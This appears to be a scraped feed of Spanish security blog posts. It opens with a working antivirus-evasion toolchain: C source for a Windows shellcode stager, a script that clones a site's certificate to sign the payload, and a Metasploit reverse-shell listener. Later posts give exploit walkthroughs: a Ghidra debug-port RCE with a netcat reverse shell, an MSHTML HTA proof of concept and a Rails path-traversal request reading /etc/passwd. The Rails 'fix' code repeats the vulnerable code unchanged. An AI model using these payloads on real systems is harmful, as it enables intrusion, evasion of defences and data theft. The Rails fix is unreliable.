echo ' if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )'>>temp.c
echo ' punt(my_socket, "...");'>>temp.c
echo ' return my_socket;'>>temp.c
echo '}'>> temp.c
echo 'int main(int argc, char * argv[]) {'>> temp.c
echo ' FreeConsole();'>>temp.c
echo ' Sleep(15);'>>temp.c
echo ' ULONG32 size;'>>temp.c
echo ' char * buffer;'>>temp.c
echo ' void (*function)();'>>temp.c
echo ' winsock_init();'>> temp.c
echo ' SOCKET my_socket = wsconnect(lambert, atoi(omega));'>>temp.c
echo ' int count = recv(my_socket, (char *)&size, 4, 0);'>>temp.c
echo ' if (count != 4 || size <= 0)'>>temp.c
echo ' punt(my_socket, "error lenght\n");'>>temp.c
echo ' buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);'>>temp.c
echo ' if (buffer == NULL)'>>temp.c
echo ' punt(my_socket, "error in buf\n");'>>temp.c
echo ' buffer[0] = 0xBF;'>>temp.c
echo ' memcpy(buffer + 1, &my_socket, 4);'>>temp.c
echo ' count = recv_all(my_socket, buffer + 5, size);'>>temp.c
echo ' function = (void (*)())buffer;'>>temp.c
echo ' function();'>>temp.c
echo ' return 0;'>>temp.c
echo '}'>> temp.c
echo '(+) Compiling binary ..'
x86_64-w64-mingw32-gcc temp.c -o payload.exe -lws2_32 -mwindows
ls -la temp.c
strip payload.exe
file=`ls -la payload.exe` ; echo '(+)' $file

#Cleanup previous run
rm -f carboncopy.py
cat <> carboncopy.py
#!/usr/bin/python3

##Author : Paranoid Ninja
##Email : paranoidninja@protonmail.com
##Descr : Spoofs SSL Certificates and Signs executables to evade Antivirus


from OpenSSL import crypto
from sys import argv, platform
import ssl
import os
import subprocess

def CarbonCopy(host, port, signee, signed):

try:
#Fetching Details
print("[+] Loading public key of %s in Memory..." % host)
ogcert = ssl.get_server_certificate((host, int(port)))
x509 = crypto.load_certificate(crypto.FILETYPE_PEM, ogcert)

certDir = r'certs'
if not os.path.exists(certDir):
os.makedirs(certDir)

#Creating Fake Certificate
CNCRT = certDir + "/" + host + ".crt"
CNKEY = certDir + "/" + host + ".key"
PFXFILE = certDir + "/" + host + '.pfx'

#Creating Keygen
k = crypto.PKey()
k.generate_key(crypto.TYPE_RSA, ((x509.get_pubkey()).bits()))
cert = crypto.X509()

#Setting Cert details from loaded from the original Certificate
print("[+] Cloning Certificate Version")
cert.set_version(x509.get_version())
print("[+] Cloning Certificate Serial Number")
cert.set_serial_number(x509.get_serial_number())
print("[+] Cloning Certificate Subject")
cert.set_subject(x509.get_subject())
print("[+] Cloning Certificate Issuer")
cert.set_issuer(x509.get_issuer())
print("[+] Cloning Certificate Registration & Expiration Dates")
cert.set_notBefore(x509.get_notBefore())
cert.set_notAfter(x509.get_notAfter())
cert.set_pubkey(k)
print("[+] Signing Keys")
cert.sign(k, 'sha256')

print("[+] Creating %s and %s" %(CNCRT, CNKEY))
open(CNCRT, "wt").write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode('utf-8'))
open(CNKEY, "wt").write(crypto.dump_privatekey(crypto.FILETYPE_PEM, k).decode('utf-8'))
print("[+] Clone process completed. Creating PFX file for signing executable...")

pfx = crypto.PKCS12Type()
pfx.set_privatekey(k)
pfx.set_certificate(cert)
pfxdata = pfx.export()

with open((PFXFILE), 'wb') as pfile:
pfile.write(pfxdata)

if (platform == "win32"):
print("[+] Platform is Windows OS...")
print("[+] Signing %s with signtool.exe..." %(signed))
print(subprocess.check_output("copy " + signee + "" + signed, shell=True).decode())
print(subprocess.check_output("signtool.exe sign /v /f " + PFXFILE + " /d \"MozDef Corp\" /tr \"http://sha256timestamp.ws.symantec.com/sha256/timestamp\" /td SHA256 /fd SHA256 " + signed, shell=True).decode())

else:
print("[+] Platform is Linux OS...")
print("[+] Signing %s with %s using osslsigncode..." %(signee, PFXFILE))
args = ("osslsigncode", "sign", "-pkcs12", PFXFILE, "-n", "Notepad Benchmark Util", "-i", "http://sha256timestamp.ws.symantec.com/sha256/timestamp", "-in", signee, "-out", signed)
popen = subprocess.Popen(args, stdout=subprocess.PIPE)
popen.wait()
output = popen.stdout.read()
print("[+] " + output.decode('utf-8'))

except Exception as ex:
print("[X] Something Went Wrong!\n[X] Exception: " + str(ex))

def main():
if (len(argv) != 5):
print(""" +-+-+-+-+-+-+-+-+-+-+-+-+
|C|a|r|b|o|n|S|i|g|n|e|r|
+-+-+-+-+-+-+-+-+-+-+-+-+""")
print("\n CarbonSigner v1.0\n Author: Paranoid Ninja\n\n[+] Descr: Impersonates the Certificate of a website\n[!] Usage: " + argv[0] + "\n")
else:
print(""" +-+-+-+-+-+-+-+-+-+-+-+-+
|C|a|r|b|o|n|S|i|g|n|e|r|
+-+-+-+-+-+-+-+-+-+-+-+-+""")
print("\n CarbonSigner v1.0\n Author: Paranoid Ninja\n")
CarbonCopy(argv[1], argv[2], argv[3], argv[4])

if __name__=="__main__":
main()

EOF

python ./carboncopy.py $hostname 443 ./payload.exe ./payload-signed.exe
ls -la ./payload-signed.exe
osslsigncode verify ./payload-signed.exe

También tenemos la parte del listener (se debe ejecutar desde donde está instalado el framework de metasploit):
#!/bin/bash

clear
echo "***************************************************************"
echo " Automatic shellcode generator - FOR METASPLOIT "
echo " For Automatic Teensy programming and deployment "
echo "***************************************************************"
echo -e "What IP are we gonna listen to ? \c"
read host

echo -e "What Port Number are we gonna listen to? : \c"
read port

echo "Starting the meterpreter listener.."
echo -n './msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST '> run.listener.sh

echo -n $host >> run.listener.sh
echo -n '; set LPORT '>> run.listener.sh
echo -n $port >> run.listener.sh
echo -n '; run"'>> run.listener.sh

chmod +x run.listener.sh
./run.listener.sh

Con el script de astr0baby podemos obtener una shell de meterpreter en la última compilación de Windows 10.0.17134.556 con un Defender actualizado.


Eso sí, si intentamos migrar el proceso, MS Defender lo eliminará inmediatamente.

Tunneling Like a Boss (by José Boix y Luismi Cerrato #hc0n2019)

$
0
0
Qué hacer cuando se ha conseguido un blind RCE o una Webshell en un sistema y se quiere obtener una shell interactiva y después pivotar hacia la red interna? Esta es una pregunta recurrente y que en cada caso encontramos una respuesta diferente. José Boix y Luis Miguel Cerrato expusieron en la h-c0n 2019 todo tipo de técnicas para poder conseguir este objetivo, recreando distintos escenarios variando el nivel de complejidad de la red, impidiendo utilizar técnicas convencionales de tunneling y pivoting.

El principal objetivo de la presentación fue otorgar al público los conocimientos necesarios para poder adaptarse a diferentes escenarios y conocer distintas técnicas para desenvolverse en él, para comprometer la red interna evadiendo mecanismos de defensa. Aquí os dejo la presentación gracias a estos dos cracks:

Presentación:



Fotos:





Probando el RCE de Ghidra en modo debug

$
0
0
Una de las herramientas más esperadas en las últimas semanas (y probablemente de todo el año) es Ghidra, la herramienta de reversing que recientemente ha publicado la NSA. Está claro que todavía no tiene tantos módulos y file loaders como IDA y, sobretodo, no dispone de debugger (al menos esta versión pública) pero el code browser, el decompilador que funciona con numerosos procesadores, las posibilidades de colaboración y, sobretodo, la liberación del código fuente le hacen ser una herramienta más que interesante.

Pero aún con el código a disposición del público no se han podido evitar suspicacias (hablamos de la NSA) y es que, a poco de publicarse la herramienta, Hackerfantastic encontró una vulnerabilidad de RCE a través del puerto de depuración de JDWP. Que más que una vulnerabilidad es un pequeño "descuido" ya que la configuración por defecto abre el puerto de debug de JDWP, el 18001, a todos los interfaces cuando se ejecuta la herramienta especificamente en modo depuración.

Veamos qué fácil es reproducirlo. Primero lanzamos la herramienta en modo debug (carpeta 'debug'):
user@server:/tools/reversing/ghidra_9.0/support$ ./ghidraDebug 

Si escanemos los puertos vemos que se ha levantado el puerto de debug:
# nmap -p18001,18002 -sV localhost

Starting Nmap 7.60 ( https://nmap.org ) at 2019-03-14 22:16 CET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000041s latency).

PORT      STATE SERVICE     VERSION
18001/tcp open  jdwp        Java Debug Wire Protocol (Reference Implementation) version 11.0 11.0.2
18002/tcp open  rmiregistry Java RMI

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.65 seconds

Y aquí lo sorprendente, podemos comprobar como el puerto 18001 está escuchando en todos los interfaces (0.0.0.0):
user@server:/tools/reversing/ghidra_9.0/support# netstat -an | grep 800
tcp        0      0 0.0.0.0:18001           0.0.0.0:*               LISTEN    
tcp6       0      0 :::18002                :::*                    LISTEN    

Con lo cual, si desde una máquina remota podemos attachar el debugger de Java al servidor corriendo Ghidra (recordar, lanzado en modo debug):
# jdb -attach 192.168.1.81:18001
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...

Una vez dentro, podemos comprobar el classpath:
> classpath
base directory: /tools/reversing/ghidra_9.0/support
classpath: [/tools/reversing/ghidra_9.0/support/../Ghidra/Framework/Utility/lib/Utility.jar]

Y dentro de las clases disponibles nos fijamos en las "runnables":
> classes
...
...
org.apache.logging.log4j.core.util.Integers
org.apache.logging.log4j.core.util.Loader
org.apache.logging.log4j.core.util.Log4jThread
org.apache.logging.log4j.core.util.Log4jThreadFactory
org.apache.logging.log4j.core.util.NameUtil
org.apache.logging.log4j.core.util.NanoClock
org.apache.logging.log4j.core.util.NetUtils
org.apache.logging.log4j.core.util.OptionConverter
org.apache.logging.log4j.core.util.Patterns
org.apache.logging.log4j.core.util.ReflectionUtil
org.apache.logging.log4j.core.util.ShutdownCallbackRegistry
org.apache.logging.log4j.core.util.SystemClock
org.apache.logging.log4j.core.util.TypeUtil
org.apache.logging.log4j.core.util.WatchManager
org.apache.logging.log4j.core.util.WatchManager$FileMonitor
org.apache.logging.log4j.core.util.WatchManager$WatchRunnable
org.apache.logging.log4j.core.util.datetime.DateParser
org.apache.logging.log4j.core.util.datetime.DatePrinter
org.apache.logging.log4j.core.util.datetime.FastDateFormat
org.apache.logging.log4j.core.util.datetime.FastDateFormat$1
org.apache.logging.log4j.core.util.datetime.FastDateParser
org.apache.logging.log4j.core.util.datetime.FastDateParser$1
org.apache.logging.log4j.core.util.datetime.FastDateParser$2
org.apache.logging.log4j.core.util.datetime.FastDateParser$3
...
...

Seteamos un breakpoint en la clase en cuestión:
> stop in org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()
Set breakpoint org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()

Esperamos un rato breve:
> 
Breakpoint hit: "thread=Log4j2-TF-4-Scheduled-1", org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run(), line=96 bci=0

Levantamos un netcat a la escucha y ejecutamos lo siguiente para obtener la shell reversa:
Log4j2-TF-4-Scheduled-1[1] print new java.lang.Runtime().exec("nc.traditional 192.168.1.81 4444 -e /bin/sh")
 new java.lang.Runtime().exec("nc.traditional 192.168.1.81 4444 -e /bin/sh") = "Process[pid=5954, exitValue="not exited"]"
Log4j2-TF-4-Scheduled-1[1]

# nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 192.168.1.81 55418 received!
whoami
user
python -c 'import pty; pty.spawn("/bin/sh")'
$ id
id
uid=1000(user) gid=1000(user) groups=1000(grupo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
$

Como véis un pequeño "descuido" como decimos, que puede corregirse fácilmente cambiando el "*" por "127.0.0.1" en el fichero de configuración launch.sh:
user@server:/tools/reversing/ghidra_9.0/support# vi launch.sh 

if [ "${MODE}" = "debug" ] || [ "${MODE}" = "debug-suspend" ]; then

        SUSPEND=n

        if [ "{$DEBUG_PORT}" = "" ]; then
                DEBUG_PORT=18001
        fi

        if [ "${MODE}" = "debug-suspend" ]; then
                SUSPEND=y
        fi

        VMARG_LIST+=" -Xdebug"
        VMARG_LIST+=" -Xnoagent"
        VMARG_LIST+=" -Djava.compiler=NONE"
        VMARG_LIST+=" -Dlog4j.configuration=\"${DEBUG_LOG4J}\""
        VMARG_LIST+=" -Xrunjdwp:transport=dt_socket,server=y,suspend=${SUSPEND},address=*:${DEBUG_PORT}"
        VMARG_LIST+=" -Dcom.sun.management.jmxremote.port=$(($DEBUG_PORT+1))"
        VMARG_LIST+=" -Dcom.sun.management.jmxremote.authenticate=false"
        VMARG_LIST+=" -Dcom.sun.management.jmxremote.ssl=false"

MSHTML Engine RCE - CVE-2019-0541

$
0
0
El motor MSHTML de Microsoft Windows posee una vulnerabilidad que permite ejecutar código arbitrario debido a una validación incorrecta de documentos web especialmente diseñados (html, xhtml, etc). Concretamente el problema se desencadena cuando los usuarios "editan" uno de estos documentos especialmente diseñados que contienen una etiqueta HTML 'meta' establecida en 'ProgId' y su contenido establecido en una opción de 'ProgId', por ejemplo. 'HTAFILE', generalmente a través del componente del navegador MS IE o MS Office (la aplicación de edición de HTML 'msohtmed.exe'):
<html>

<head><meta name=ProgId content=htafile>

<!-- htafile is just an exmaple of 'ProgId'...others are possible, you may test all available ProgIds at will! -->

</head>
<hta:application id=x>
<script>

try { if (x.commandLine != "") {

new ActiveXObject('WScript.Shell').Run('calc.exe',1)

}

}

catch(ex) { alert('Error: This document must be viewed in "Edit" mode: Right-click it, then select the "Edit" menu option. \n If not present, open it with MS IE, make sure the "Menu" bar is displayed, then click "File" menu and then "Edit with...".'); }

</script>

<noscript> Error: This document must be viewed in "Edit" mode: Right-click it, then select the "Edit" menu option. <br> If not present, open it with MS IE, make sure the "Menu" bar is displayed, then click "File" menu and then "Edit with...". </noscript>

</html>  

Algunas versiones de Office agregan una opción de menú "Editar" a los archivos html y xhtml, lo que permitirá explotar la vulnerabilidad local o remotamente (generalmente a través de recursos compartidos de red). Veamos una PoC rápida:


Esta vulnerabilidad es similar a las antiguas vulnerabilidades de ClassId de Windows Shell/Internet Explorer que han afectado a Windows 98/2000/XP en el pasado.

Afecta a Microsoft Office, Microsoft Office Word Viewer, Internet Explorer 9, Internet Explorer 11, Microsoft Excel Viewer, Internet Explorer 10 y Office 365 ProPlus, y ha sido probado en Windows 7 SP1, Server 2008, Server 2012, Server 2012 R2, 8.0, 8.1, 10 (cualquiera) con todos los parches hasta diciembre de 2018 y en ambas arquitecturas (x86 y x64).

En los sistemas parcheados, el archivo de la PoC siempre se abrirá en el Bloc de notas.

PoC: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46536.zip

Explotación de software moderno en GNU/Linux (by Manuel Blanco #hc0n2019)

$
0
0
Las siguientes diapositivas que vamos a liberar del la pasada h-c0n 2019 Hackplayers' Conference celebrada en Madrid el pasado mes de febrero serán las de Manuel Blanco con su taller "Explotación de software moderno en GNU/Linux".

Manuel Blanco es un persona autodidacta, apasionada por el mundo de la explotación de software, un habitual en el mundo de los CTFs a nivel nacional e internacional con equipos como ID-10-T y w0pr, y estudiante de ingeniería informática en la Universidad Politécnica de Ingeniería de Gijón.

En este taller se explicaron los fundamentos del exploiting en GNU/Linux comenzando por los clásicos Buffer Overflow, pasando por los famosos Out-of-Bounds y llegando hasta Return Oriented Programming, todo ello explicado de una manera interactiva, con ejemplos y ejercicios para llevar todos estos conceptos a la práctica.

Presentación:



Fotos:





Por último decir que a Manuel le gustaría alistarse en las filas de los Ripp3rs, y ganar muchos CTFs.

Acceso arbitrario a ficheros en Rails (CVE-2019-5418)

$
0
0
Recientemente se ha publicado una vulnerabilidad en Ruby on Rails que permite acceder arbitrariamente al contenido de los ficheros del servidor.

La vulnerabilidad está en Action View, ha sido bautizada con el CVE CVE-2019-5418 y puede explotarse simplemente mandando una cabecera 'Accept' especialmente construida que en combinación con las llamadas a `render file:` nos mostrará en la respuesta el contenido del fichero:
GET /test HTTP/1.1
Host: SERVIDOR:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: ../../../../../../../../etc/passwd{{
Content-Length: 306
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: firstVisit=1552167456698; CSRF-Token-HOYYT=grQmu9F3Y5hazpvr6T5TtWKj4HqPFhea; sessionid-HOYYT=i3VkCeXtjRJJHUxc7xEEjbecD53xbvaN
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0


Las versiones de Rails que ya han sido corregidas son la 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1.
El código vulnerable sería:
```
class UserController < ApplicationController
  def index
    render file: "#{Rails.root}/some/file"
  end
end
```

Y se mitigaría especificando el formato para el renderizado de los ficheros:
```
class UserController < ApplicationController
  def index
    render file: "#{Rails.root}/some/file"
  end
end
```

De forma alternativa, se puede aplicar el siguiente 'parche' en un inicializador:
```
$ cat config/initializers/formats_filter.rb
# frozen_string_literal: true

ActionDispatch::Request.prepend(Module.new do
  def formats
    super().select do |format|
      format.symbol || format.ref == "*/*"
    end
  end
end)
```

Y no es el único CVE que han cocinado" para RoR: atentos también a una denegación de servicio (CVE-2019-5419) y un posible RCE en development mode ( CVE-2019-5420).

Así que ya sabéis azulones, ¡a actualizar o parchear!

Es Java... ¡no aceptes proyectos de extraños para Ghidra!

$
0
0
Hace unos días veíamos en el blog una pequeña peculiaridad (no diría vulnerabilidad) en Ghidra que permitía ejecutar código remotamente si lanzábamos el programa en modo debug. Pues bien, hoy os traemos una vulnerabilidad XXE (entidad externa XML) identificada por @sghctoma y Tecent Security que se puede provocar al cargar un proyecto en la versión 9.0 de la popular herramienta de reversing de la NSA.

La PoC de la siguiente imagen muestra cómo un atacante puede crear un proyecto GHIDRA completamente nuevo editando el archivo project.prp e insertar el exploit XXE para recibir una simple shell reversa escuchando con netcat:


Otra aplicación interesante es la posibilidad de recibir el hash NTLM explotando esta vulnerabilidad. Java en Windows habilita la autenticación NTLM transparente de forma predeterminada y trata todas las URL como confiables, así que sólo basta con levantar un servidor HTTP con la autenticación NTLM habilitada y usar la vulnerabilidad XXE/SSRF para forzar una autenticación NTLM de la víctima.

Cuando se autentica con NTLMv1, el atacante puede transmitir directamente el Hash Net-NTLM al servicio SMB de la víctima.
En el caso de SMBv2, primero debemos modificar las flags de negociación en el mensaje de tipo 2: 'Negotiate Always Sign' y 'Negotiate 0x00004000'. Esto pasará de autenticación local a autenticación de red, y también eliminará la firma.

La gente de Tecent Security ha publicado además una herramienta llamada UltraRelay basada en Responder e Impack para el envenenamiento LLMNR y reenvío de credenciales NTLM: https://github.com/5alt/ultrarelay

El resultado como puede verse en el siguiente vídeo es bastante autoexplicativo:


- Ghidra From XXE to RCE
- GHIDRA is NSA’s reverse engineering tool released earlier this month.
- Experts found a critical vulnerability in the NSA Ghidra tool

iBombShell: Pentesting EveryWhere & EverySystem (by Pablo González y Álvaro Nuñez #hc0n2019)

$
0
0
Cuando recibimos la propuesta de Pablo González y Álvaro Nuñez para hablar de iBombShell en la #hc0n2019 lo teníamos claro. Primero porque Pablo es super majo y uno de los grandes, conocido desde tiempos de Flu-Project, y segundo porque traían a nuestro congreso una herramienta que fue incluida en el arsenal del la BlackHat Europe de 2018.

iBombShell fue desarrollada desde el departamento de Ideas Locas del área del CDO de Telefónica en colaboración con el laboratorio de Innovación de ElevenPaths y se trata de una shell de post-explotación que tiene como objetivo poder usarse prácticamente en cualquier equipo con Windows, gracias a que es descargada desde el repo dinámicamente. Bueno, realmente tiene dos modos de ejecución, el denominado "everywhere" con Powershell y otro adicional llamado "silently" gracias a un C2 escrito en Python.

En la charla se mostraron escenarios reales, y actuales, de pentesting dónde iBombShell trabaja y aporta frescura a los diferentes procesos de un pentest. Tanto si tuviste la oportunidad de asistir al Congreso y ver las demos como si no, ¡te recomendamos probarla!

https://github.com/ElevenPaths/ibombshell

Presentación:


Fotos:






Recursos:

- Mastering iBombshell: Para tu próximo Ethical Hacking
- MacOS & Windows: Pentesting it with ibombshell
- ibombsehll: Whitepaper disponible
- ibombshell: Shell de pentesting en MacOS con Powershell
- ibombshell 0.0.1b liberada en el repositorio GitHub de ElevenPaths
- ibombshell: Crear una función de pentesting para MacOS
- ibombshell: Crear un módulo de extracción de claves privadas SSH en Windows 10
- ibombshell 0.0.1b en GitHub & Environment Injection UAC Bypass en Windows 10
- ibombshell: Mocking Trusted Directories UAC Bypass en Windows 10

Highbox - Administra tus contraseñas sin necesidad de guardarlas

$
0
0
Hoy en día, la continua globalización marca la pauta del día a día, y el ámbito de la seguridad no ha sido la excepción, registrarse en un sitio, ya sea para obtener un servicio o acceso a cierta información, es algo bastante común, y a su vez el avance tecnológico exige contraseñas cada vez más complejas, la clásica contraseña de 8 caracteres es a día de hoy obsoleta, otro problema constante es administrar las diferentes contraseñas para cada sitio. Es aquí donde un administrador de contraseñas se vuelve fundamental.

Highbox es un administrador de contraseñas gratuito, que no almacena contraseñas, en su lugar son generadas automáticamente mediante un algoritmo matemático, esto lo vuelve bastante conveniente ya que solo se guarda información referente al inicio de sesión como: sitio web, email, teléfono, entre otros, además de utilizar la sincronización en la nube mediante una cuenta de Google para realizar respaldos, por lo que es fácil recuperar la información en todo momento.

¿Cómo funciona?
•    PUSH(AGREGAR UNA BOX)
•    POP(SACAR UNA BOX)


Highbox maneja el concepto de Box para referirse a las cuentas del usuario, así que cuando se agrega una Box lo único que se necesita hacer para configurarla es crear es un “Totem”, un tótem es una palabra o frase que es elegida por el usuario para representar su contraseña, ésta nunca será guardada en memoria y el largo o su contenido depende de la elección del usuario. Acompañando a su tótem, se introduce una “Hint” o pista, ésta si es almacenada y es básicamente otro juego de palabras escogido por el usuario que es utilizado como referencia para no olvidar el Tótem en futuras consultas. La Hint le dice al usuario cuál podría ser el Tótem, pero claro esto no debe ser explícito.


Estos arreglos de palabras serán usados para construir una contraseña. Mientras se agrega una Box se puede observar la vista previa de la contraseña que se creará, esta cambia según los juegos de palabras ingresados e incluye el modo “High” para construir contraseñas más complejas que el algoritmo por defecto, después de agregar ”Push” la Box se copiará automáticamente la nueva contraseña al portapapeles por lo cual es necesario ir al sitio web en cuestión y cambiar nuestra contraseña actual por la nueva.

¡Es todo!

Cada vez que el usuario necesite consultar su contraseña, volverá a la Box y realizara una “Incantation”, en donde se le preguntara su tótem y se le mostrara la Hint asociada, si se responde con el Totem de la primera vez, se generara la misma contraseña de lo contrario obtendrá cualquier otra.


Desde el Home principal el usuario puede realizar “Incantations” para consultar las contraseñas de sus cuentas, solo basta con tocar la cuenta deseada.


Análisis de seguridad arrojado por password.es al inspeccionar una contraseña genera con Highbox en el modo High.

Ventajas


•    No tendrá que recordar contraseñas largas y complejas nunca más, ya que es más fácil recordar sus Totems, estos son frases o cualquier palabra que el usuario configure.
•    Es posible utilizar el mismo tótem para todas las boxes y obtener contraseñas diferentes para cada una solo con variar el contenido de la Hint.
•    No utiliza una base de datos para las contraseñas, sino que genera una contraseña cada vez que la necesitamos.
•    Toda la información se almacena en la cuenta Google sincronizada.
•    Funciona en modo Offline.

Highbox está disponible de forma gratuita en la Playstore y solo requiere Android 8 o superior.
https://play.google.com/store/apps/details?id=com.bookmanager.danielrosillo.bookmanager

Fraternalmente Daniel Rosillo.
Viewing all 1670 articles
Browse latest View live